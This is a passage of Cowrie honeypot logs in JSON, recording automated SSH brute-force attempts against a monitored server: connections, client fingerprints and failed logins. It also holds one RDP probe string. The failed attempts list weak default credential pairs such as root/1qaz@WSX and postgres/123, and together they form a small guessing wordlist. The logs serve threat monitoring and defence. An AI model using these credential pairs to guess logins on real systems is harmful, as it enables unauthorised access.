0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:06:41.277446Z","src_ip":"192.109.200.237","session":"bb7dd9a1425e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"123","message":"login attempt [postgres/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:06:41.523044Z","src_ip":"192.109.200.237","session":"bb7dd9a1425e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:06:42.607129Z","src_ip":"192.109.200.237","session":"bb7dd9a1425e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":38570,"dst_ip":"159.203.135.109","dst_port":22,"session":"f7a83d3d3211","protocol":"ssh","message":"New connection: 192.109.200.237:38570 (159.203.135.109:22) [session: f7a83d3d3211]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:06:44.297383Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:06:44.302480Z","src_ip":"192.109.200.237","session":"f7a83d3d3211","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:06:44.385128Z","src_ip":"192.109.200.237","session":"f7a83d3d3211","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"student","password":"student123","message":"login attempt [student/student123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:06:44.730953Z","src_ip":"192.109.200.237","session":"f7a83d3d3211","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:06:45.816453Z","src_ip":"192.109.200.237","session":"f7a83d3d3211","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":38572,"dst_ip":"159.203.135.109","dst_port":22,"session":"050bfbed637d","protocol":"ssh","message":"New connection: 192.109.200.237:38572 (159.203.135.109:22) [session: 050bfbed637d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:06:47.518254Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:06:47.526195Z","src_ip":"192.109.200.237","session":"050bfbed637d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:06:47.610252Z","src_ip":"192.109.200.237","session":"050bfbed637d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz@WSX","message":"login attempt [root/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:06:47.859628Z","src_ip":"192.109.200.237","session":"050bfbed637d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:06:48.945308Z","src_ip":"192.109.200.237","session":"050bfbed637d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":57733,"dst_ip":"159.203.135.109","dst_port":22,"session":"0e6d8968c175","protocol":"ssh","message":"New connection: 152.42.212.128:57733 (159.203.135.109:22) [session: 0e6d8968c175]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:06:50.610253Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:06:50.614267Z","src_ip":"152.42.212.128","session":"0e6d8968c175","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:06:50.617621Z","src_ip":"152.42.212.128","session":"0e6d8968c175","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":55832,"dst_ip":"159.203.135.109","dst_port":22,"session":"1633d027d4dd","protocol":"ssh","message":"New connection: 192.109.200.237:55832 (159.203.135.109:22) [session: 1633d027d4dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:06:50.641830Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:06:50.648434Z","src_ip":"192.109.200.237","session":"1633d027d4dd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:06:50.730239Z","src_ip":"192.109.200.237","session":"1633d027d4dd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"default","password":"default","message":"login attempt [default/default] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:06:50.977973Z","src_ip":"192.109.200.237","session":"1633d027d4dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:06:52.063569Z","src_ip":"192.109.200.237","session":"1633d027d4dd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":55842,"dst_ip":"159.203.135.109","dst_port":22,"session":"1c652637b5ef","protocol":"ssh","message":"New connection: 192.109.200.237:55842 (159.203.135.109:22) [session: 1c652637b5ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:06:53.722880Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:06:53.727062Z","src_ip":"192.109.200.237","session":"1c652637b5ef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:06:53.809782Z","src_ip":"192.109.200.237","session":"1c652637b5ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gitlab-runner","password":"123456","message":"login attempt [gitlab-runner/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:06:54.057371Z","src_ip":"192.109.200.237","session":"1c652637b5ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:06:55.143183Z","src_ip":"192.109.200.237","session":"1c652637b5ef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":55848,"dst_ip":"159.203.135.109","dst_port":22,"session":"bfe9789280de","protocol":"ssh","message":"New connection: 192.109.200.237:55848 (159.203.135.109:22) [session: bfe9789280de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:06:56.772323Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:06:56.776968Z","src_ip":"192.109.200.237","session":"bfe9789280de","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:06:56.862562Z","src_ip":"192.109.200.237","session":"bfe9789280de","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"agent","password":"agent","message":"login attempt [agent/agent] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:06:57.228489Z","src_ip":"192.109.200.237","session":"bfe9789280de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:06:58.314393Z","src_ip":"192.109.200.237","session":"bfe9789280de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":55856,"dst_ip":"159.203.135.109","dst_port":22,"session":"87ee12ea8632","protocol":"ssh","message":"New connection: 192.109.200.237:55856 (159.203.135.109:22) [session: 87ee12ea8632]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:07:00.018962Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:07:00.024250Z","src_ip":"192.109.200.237","session":"87ee12ea8632","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:07:00.106591Z","src_ip":"192.109.200.237","session":"87ee12ea8632","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"tesTtest123a","message":"login attempt [root/tesTtest123a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:07:00.352327Z","src_ip":"192.109.200.237","session":"87ee12ea8632","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":38474,"dst_ip":"159.203.135.109","dst_port":22,"session":"e4e9a6be84d9","protocol":"ssh","message":"New connection: 103.27.238.114:38474 (159.203.135.109:22) [session: e4e9a6be84d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:07:00.706362Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:07:00.710996Z","src_ip":"103.27.238.114","session":"e4e9a6be84d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":54.002206802368164,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:07:00.844784Z","src_ip":"192.119.13.58","session":"a4d84fcf7a13","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:07:00.984428Z","src_ip":"103.27.238.114","session":"e4e9a6be84d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:07:01.446107Z","src_ip":"192.109.200.237","session":"87ee12ea8632","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zasada","message":"login attempt [root/zasada] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:07:01.782355Z","src_ip":"103.27.238.114","session":"e4e9a6be84d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:07:03.052459Z","src_ip":"103.27.238.114","session":"e4e9a6be84d9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":49442,"dst_ip":"159.203.135.109","dst_port":22,"session":"e6ac7dd08d12","protocol":"ssh","message":"New connection: 192.109.200.237:49442 (159.203.135.109:22) [session: e6ac7dd08d12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:07:03.177020Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:07:03.183680Z","src_ip":"192.109.200.237","session":"e6ac7dd08d12","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:07:03.267381Z","src_ip":"192.109.200.237","session":"e6ac7dd08d12","protocol":"ssh"}
